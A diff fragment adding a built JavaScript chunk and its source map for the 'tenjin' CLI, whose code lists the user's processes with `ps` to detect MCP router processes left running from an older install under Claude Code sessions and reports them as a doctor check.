+ "could not check for `tenjin mcp` processes started before this install: they cannot be listed on this platform"
151
+ );
152
+ }
153
+ if (procs.length === 0) return check("none running (starts with the next session)");
154
+ if (installed === null && procs.some((p) => p.version === void 0)) {
155
+ return unchecked(`${procs.length} running; when this build was installed is unknown`);
156
+ }
157
+ const stale = procs.filter(
158
+ (p) => p.kind !== "codex" && p.underClaude !== false && (p.version !== void 0 ? p.version !== version : p.startedAt !== null && installed !== null && p.startedAt < installed)
159
+ ).length;
160
+ if (stale === 0) {
161
+ return check(`${procs.length} running, all started after this install`);
162
+ }
163
+ const which = stale === 1 ? "process" : "processes";
164
+ return {
165
+ stale,
166
+ check: {
167
+ name: "mcp server",
168
+ status: "warn",
169
+ required: false,
170
+ detail: `${stale} running \`tenjin mcp\` ${which} started before this install (${version}), so ${stale === 1 ? "it runs" : "they run"} the older build, where the hooks can fail with "Tool hook not found"`,
171
+ fix
172
+ }
173
+ };
174
+ }
175
+ async function readProcessSnapshot(deps = {}) {
176
+ const list = deps.listProcesses ?? (deps.listMcpProcesses !== void 0 ? async () => {
177
+ const routers = await deps.listMcpProcesses();
178
+ return routers === null ? null : { routers, claude: [] };
179
+ } : listProcesses);
180
+ const [snapshot, installed] = await Promise.all([
181
+ list().catch(() => null),
182
+ (deps.installedAt ?? installedAt)().catch(() => null)
183
+ ]);
184
+ return { snapshot, installed };
185
+ }
186
+ async function readMcpServers(deps = {}, opts = {}) {
187
+ const { snapshot, installed } = await readProcessSnapshot(deps);
188
+ const fix = opts.settingsInstallPending === true ? NEW_SESSION_FIX : RECONNECT_FIX;
189
+ return mcpServersState(snapshot?.routers ?? null, installed, opts.version ?? package_default.version, fix);
190
+ }
191
+
192
+ export {
193
+ RECONNECT_FIX,
194
+ mcpServersState,
195
+ readProcessSnapshot,
196
+ readMcpServers
197
+ };
198
+ //# sourceMappingURL=chunk-B7EM4GGF.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/router/mcp-processes.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { stat } from 'node:fs/promises';\nimport { dirname, join } from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport { promisify } from 'node:util';\nimport pkg from '../../package.json';\nimport type { RouterCheck } from './reachability';\n\n/**\n * A `tenjin mcp` STARTED BEFORE THIS INSTALL still runs the code it started\n * with. Claude Code keeps its MCP servers for the life of a session, so after\n * an update the hooks the new install wrote can call a tool the old process\n * does not have (\"Tool hook not found\"), while every file on disk reads as\n * correct. This finds this user's running `tenjin mcp` processes and compares\n * each start time with the installed package's own `package.json`.\n */\n\nexport interface McpProcess {\n pid: number;\n /** Start time in epoch ms, or null when `ps` gave none this could read. */\n startedAt: number | null;\n /** The parent pid, when `ps` gave one. */\n ppid?: number;\n /**\n * What started it, from its own arguments: `plugin` (the plugin's `--plugin`\n * router), `codex` (`--harness codex`) or `other`. Absent on an injected\n * entry, which then counts as it always did.\n */\n kind?: 'plugin' | 'codex' | 'other';\n /**\n * Whether a Claude Code process is among its ancestors (up to 10 levels).\n * False for a router nothing Claude started: a `tenjin mcp` in a terminal, a\n * Codex one, a test harness. Absent (injected) counts as true.\n */\n underClaude?: boolean;\n /**\n * The CLI version it runs, when it runs from Tenjin's runtime\n * (`runtime/versions/<v>/dist/index.js`). Absent for any other launch.\n */\n version?: string;\n}\n\n/**\n * One `ps` read, in the two lists doctor and install need: this user's running\n * `tenjin mcp` routers (zombies and this process left out), and the Claude Code\n * sessions themselves, so a router's ancestry and a session's start time can\n * be told without a second `ps`.\n */\nexport interface ProcessSnapshot {\n routers: McpProcess[];\n claude: McpProcess[];\n}\n\n/** This user's running routers and Claude Code processes, or null where they cannot be listed. */\nexport type ListProcesses = () => Promise<ProcessSnapshot | null>;\n\n/** This user's running `tenjin mcp` processes, or null where they cannot be listed. */\nexport type ListMcpProcesses = () => Promise<McpProcess[] | null>;\n\n/** When the installed package was written, in epoch ms, or null. */\nexport type InstalledAt = () => Promise<number | null>;\n\nconst exec = promisify(execFile);\n\n/** `ps` on macOS and Linux; null on Windows or when `ps` fails, which is \"unknown\". */\nexport const listProcesses: ListProcesses = async () => {\n if (process.platform === 'win32' || typeof process.getuid !== 'function') return null;\n try {\n const { stdout } = await exec(\n 'ps',\n ['-U', String(process.getuid()), '-o', 'pid=,ppid=,stat=,lstart=,args='],\n { timeout: 5_000, env: { ...process.env, LC_ALL: 'C' }, maxBuffer: 4 * 1024 * 1024 },\n );\n return parsePs(stdout, process.pid);\n } catch {\n return null;\n }\n};\n\n/** The routers alone, as before the snapshot: kept so its callers and seams keep their shape. */\nexport const listMcpProcesses: ListMcpProcesses = async () =>\n (await listProcesses())?.routers ?? null;\n\nconst PS_LINE =\n /^\\s*(\\d+)\\s+(\\d+)\\s+(\\S+)\\s+(\\w{3}\\s+\\w{3}\\s+\\d{1,2}\\s+\\d{2}:\\d{2}:\\d{2}\\s+\\d{4})\\s+(.*)$/;\n\n/** How far up the parent chain a router is followed to find the Claude Code that started it. */\nconst ANCESTRY_DEPTH = 10;\n\ninterface PsRow {\n pid: number;\n ppid: number;\n startedAt: number | null;\n args: string;\n}\n\n/**\n * The `ps -o pid=,ppid=,stat=,lstart=,args=` lines as a {@link ProcessSnapshot}:\n * the `tenjin mcp` routers, this process left out, and the Claude Code\n * processes. A zombie (stat starting `Z`) is neither: it has exited, and its\n * pid may already name nothing.\n */\nexport function parsePs(stdout: string, selfPid: number): ProcessSnapshot {\n const rows: PsRow[] = [];\n for (const line of stdout.split('\\n')) {\n const m = PS_LINE.exec(line);\n if (m === null || m[3]!.startsWith('Z')) continue;\n const startedAt = Date.parse(m[4]!.replace(/\\s+/g, ' '));\n rows.push({\n pid: Number(m[1]),\n ppid: Number(m[2]),\n startedAt: Number.isNaN(startedAt) ? null : startedAt,\n args: m[5]!,\n });\n }\n const byPid = new Map(rows.map((r) => [r.pid, r]));\n const underClaude = (row: PsRow): boolean => {\n let parent = byPid.get(row.ppid);\n for (let i = 0; i < ANCESTRY_DEPTH && parent !== undefined; i += 1) {\n if (isClaudeCode(parent.args)) return true;\n if (parent.ppid === parent.pid) break;\n parent = byPid.get(parent.ppid);\n }\n return false;\n };\n const routers: McpProcess[] = [];\n const claude: McpProcess[] = [];\n for (const row of rows) {\n const mcp = row.pid !== selfPid ? tenjinMcp(row.args) : null;\n if (mcp !== null) {\n routers.push({\n pid: row.pid,\n startedAt: row.startedAt,\n ppid: row.ppid,\n kind: routerKind(row.args),\n underClaude: underClaude(row),\n ...(mcp.version !== undefined ? { version: mcp.version } : {}),\n });\n } else if (isClaudeCode(row.args)) {\n claude.push({ pid: row.pid, startedAt: row.startedAt, ppid: row.ppid });\n }\n }\n return { routers, claude };\n}\n\n/** Who started a router, read from the flags its starter passes. */\nfunction routerKind(args: string): 'plugin' | 'codex' | 'other' {\n const tokens = args.trim().split(/\\s+/);\n if (tokens.includes('--plugin')) return 'plugin';\n const harness = tokens.indexOf('--harness');\n if (harness >= 0 && tokens[harness + 1] === 'codex') return 'codex';\n if (tokens.includes('--harness=codex')) return 'codex';\n return 'other';\n}\n\n/**\n * `claude`'s own one-shot subcommands. Each starts, answers and exits; none is\n * a session. `claude mcp get` (doctor) and `claude mcp list` even start a\n * `tenjin mcp` of their own, and that router must never pass for one a\n * session started.\n */\nconst ONE_SHOT = new Set(['mcp', 'plugin', 'config', 'update', 'doctor', 'setup-token']);\n\n/** Interpreters a JS build of Claude Code runs under, as the first token. */\nconst INTERPRETER = /^(node|nodejs|bun)(\\.exe)?$/i;\n\n/** Is this path Claude Code's own binary or bundle? */\nfunction isClaudePath(token: string): boolean {\n return (\n isClaudeBinary(token) ||\n token.includes('/claude/versions/') ||\n token.includes('/claude-code/') ||\n token.includes('@anthropic-ai/claude-code/cli.js')\n );\n}\n\n/** Is this the `claude` binary itself (its basename), not just a path under Claude Code's folder? */\nfunction isClaudeBinary(path: string): boolean {\n const base = path.split(/[/\\\\]/).pop() ?? path;\n return base === 'claude' || base === 'claude.exe';\n}\n\n/**\n * Where Claude Code's path, starting at `tokens[at]`, ends: the index of the\n * first token after it, or -1 when it is not Claude Code. `ps` joins the\n * arguments with spaces, so a path that holds one (the desktop app's\n * `/Users/<u>/Library/Application Support/Claude/claude-code/<ver>/.../claude`)\n * spans several tokens. An absolute path is extended over the tokens after it\n * while none starts a new path or a flag, and a joined path counts only when\n * it ends at the `claude` binary itself.\n */\nfunction claudePathEnd(tokens: string[], at: number): number {\n const first = tokens[at];\n if (first === undefined) return -1;\n if (isClaudePath(first)) return at + 1;\n if (!/^(\\/|[A-Za-z]:\\\\)/.test(first)) return -1;\n let path = first;\n for (let i = at + 1; i < tokens.length; i += 1) {\n const next = tokens[i]!;\n if (/^[-/\\\\]/.test(next)) return -1;\n path = `${path} ${next}`;\n if (isClaudeBinary(path)) return i + 1;\n }\n return -1;\n}\n\n/**\n * A Claude Code SESSION, from its `ps` arguments: the first token is the\n * `claude` binary (or an installed version of it, whose path may hold\n * spaces), or an interpreter running Claude Code's bundle. Its one-shot\n * subcommands (`claude mcp get`, `claude plugin list`, `claude update`, ...)\n * are not sessions, and are left out.\n */\nexport function isClaudeCode(args: string): boolean {\n const tokens = args.trim().split(/\\s+/);\n let at = 0;\n if (tokens[0] !== undefined && INTERPRETER.test(tokens[0].split(/[/\\\\]/).pop() ?? '')) at = 1;\n const end = claudePathEnd(tokens, at);\n if (end < 0) return false;\n const sub = tokens[end];\n return sub === undefined || !ONE_SHOT.has(sub);\n}\n\n/**\n * A runtime build's entry, `<root>/runtime/versions/<v>/dist/index.js`, with\n * the version. Anchored at the token's end, because `ps` joins arguments with\n * spaces: a data dir under a home with a space splits the path, and its last\n * token still ends this way.\n */\nconst RUNTIME_ENTRY = /[/\\\\]runtime[/\\\\]versions[/\\\\]([^/\\\\]+)[/\\\\]dist[/\\\\]index\\.js$/;\n\n/**\n * `tenjin mcp`, however the bin was invoked: `node /path/bin/tenjin mcp`,\n * `tenjin mcp`, the npm folder plugin's `node <plugin root>/../../../index.js\n * mcp`, or the runtime plugin's `<runtime node> <runtime>/versions/<v>/dist/index.js\n * mcp`, which also says the version it runs. Null when it is none of these.\n */\nfunction tenjinMcp(args: string): { version?: string } | null {\n const tokens = args.trim().split(/\\s+/);\n let version: string | undefined;\n const bin = tokens.findIndex((t) => {\n const runtime = RUNTIME_ENTRY.exec(t);\n if (runtime !== null) {\n version = runtime[1];\n return true;\n }\n return (\n /(^|[/\\\\])tenjin(\\.js|\\.cmd)?$/.test(t) ||\n /[/\\\\]tenjin-cli[/\\\\]/.test(t) ||\n /[/\\\\]hosts[/\\\\]claude[/\\\\]tenjin[/\\\\]\\.\\.[/\\\\]\\.\\.[/\\\\]\\.\\.[/\\\\]index\\.js$/.test(t)\n );\n });\n if (bin < 0 || tokens[bin + 1] !== 'mcp') return null;\n return version !== undefined ? { version } : {};\n}\n\n/**\n * When this build's `package.json`, the nearest one above this module, was\n * written. Its ctime, not its mtime: npm extracts a package with the\n * tarball's fixed 1985 mtimes, and setting them is what moves the ctime to\n * the moment of the install.\n */\nexport const installedAt: InstalledAt = async () => {\n let dir = dirname(fileURLToPath(import.meta.url));\n for (let i = 0; i < 6; i += 1) {\n try {\n const st = await stat(join(dir, 'package.json'));\n return Math.max(st.ctimeMs, st.mtimeMs);\n } catch {\n dir = dirname(dir);\n }\n }\n return null;\n};\n\n/** How many running servers predate the install, and what doctor says about it. */\nexport interface McpServersState {\n stale: number;\n check: RouterCheck;\n}\n\n/**\n * Worded for the session the person is in, never a terminal. Only a new\n * session: `/reload-plugins` reconnects the server but does not run the\n * plugin's `SessionStart`, and while a settings install is still here it would\n * load the plugin beside a pre-upgrade `x402` server, so every event would\n * route twice.\n */\nexport const RECONNECT_FIX =\n 'Start a new Claude Code session: this one still runs the earlier Tenjin build.';\n/** The same step while a settings install is still here; kept as its own export for its callers. */\nexport const NEW_SESSION_FIX = RECONNECT_FIX;\n\n/**\n * The `mcp server` check from a process list and the install time. Never a\n * failure.\n *\n * STALE MEANS A CLAUDE CODE SESSION IS STILL RUNNING THE OLD BUILD. A router\n * launched from Tenjin's runtime says its version, so it is stale when that is\n * not `version`, whenever it started: the runtime switches builds without any\n * package being written. Any other router is stale when it started before the\n * install. A Codex\n * router (`kind: 'codex'`) and one nothing Claude started (`underClaude:\n * false`: a terminal, a test) are not this check's business, so they are not\n * counted. An injected entry without those fields counts, as it always did.\n *\n * What this cannot see is said as not checked (`checked: false`), never as a\n * pass: a platform without `ps`, or an install time it could not read.\n */\nexport function mcpServersState(\n procs: McpProcess[] | null,\n installed: number | null,\n version: string = pkg.version,\n fix: string = RECONNECT_FIX,\n): McpServersState {\n const check = (detail: string): McpServersState => ({\n stale: 0,\n check: { name: 'mcp server', status: 'ok', required: false, detail },\n });\n const unchecked = (detail: string): McpServersState => ({\n stale: 0,\n check: { name: 'mcp server', status: 'warn', required: false, detail, checked: false },\n });\n if (procs === null) {\n return unchecked(\n 'could not check for `tenjin mcp` processes started before this install: they cannot be listed on this platform',\n );\n }\n if (procs.length === 0) return check('none running (starts with the next session)');\n if (installed === null && procs.some((p) => p.version === undefined)) {\n return unchecked(`${procs.length} running; when this build was installed is unknown`);\n }\n const stale = procs.filter(\n (p) =>\n p.kind !== 'codex' &&\n p.underClaude !== false &&\n (p.version !== undefined\n ? p.version !== version\n : p.startedAt !== null && installed !== null && p.startedAt < installed),\n ).length;\n if (stale === 0) {\n return check(`${procs.length} running, all started after this install`);\n }\n const which = stale === 1 ? 'process' : 'processes';\n return {\n stale,\n check: {\n name: 'mcp server',\n status: 'warn',\n required: false,\n detail: `${stale} running \\`tenjin mcp\\` ${which} started before this install (${version}), so ${stale === 1 ? 'it runs' : 'they run'} the older build, where the hooks can fail with \"Tool hook not found\"`,\n fix,\n },\n };\n}\n\n/** The process seams doctor and install take; each defaults to this machine. */\nexport interface ProcessDeps {\n /** The whole snapshot; wins over `listMcpProcesses`. */\n listProcesses?: ListProcesses;\n /**\n * The routers alone (the older seam). Injected without `listProcesses`, it\n * stands for a snapshot with these routers and no Claude Code process.\n */\n listMcpProcesses?: ListMcpProcesses;\n installedAt?: InstalledAt;\n}\n\n/**\n * ONE `ps` AND THE INSTALL TIME, read once and shared: doctor's `mcp server`,\n * `claude session` and `plugin` rows all decide from the same snapshot, so a\n * process that starts between two reads cannot make them disagree. Never\n * rejects: a failing source is null, which every reader says as not checked.\n */\nexport async function readProcessSnapshot(\n deps: ProcessDeps = {},\n): Promise<{ snapshot: ProcessSnapshot | null; installed: number | null }> {\n const list: ListProcesses =\n deps.listProcesses ??\n (deps.listMcpProcesses !== undefined\n ? async () => {\n const routers = await deps.listMcpProcesses!();\n return routers === null ? null : { routers, claude: [] };\n }\n : listProcesses);\n const [snapshot, installed] = await Promise.all([\n list().catch(() => null),\n (deps.installedAt ?? installedAt)().catch(() => null),\n ]);\n return { snapshot, installed };\n}\n\n/**\n * The check, read from this machine (or the injected sources). `version` is\n * the build the plugin now runs, when that is not this one: `tenjin update`'s\n * parent names the version it just moved the runtime to.\n */\nexport async function readMcpServers(\n deps: ProcessDeps = {},\n opts: { settingsInstallPending?: boolean; version?: string } = {},\n): Promise<McpServersState> {\n const { snapshot, installed } = await readProcessSnapshot(deps);\n const fix = opts.settingsInstallPending === true ? NEW_SESSION_FIX : RECONNECT_FIX;\n return mcpServersState(snapshot?.routers ?? null, installed, opts.version ?? pkg.version, fix);\n}\n"],"mappings":";;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,YAAY;AACrB,SAAS,SAAS,YAAY;AAC9B,SAAS,qBAAqB;AAC9B,SAAS,iBAAiB;AA0D1B,IAAM,OAAO,UAAU,QAAQ;AAGxB,IAAM,gBAA+B,YAAY;AACtD,MAAI,QAAQ,aAAa,WAAW,OAAO,QAAQ,WAAW,WAAY,QAAO;AACjF,MAAI;AACF,UAAM,EAAE,OAAO,IAAI,MAAM;AAAA,MACvB;AAAA,MACA,CAAC,MAAM,OAAO,QAAQ,OA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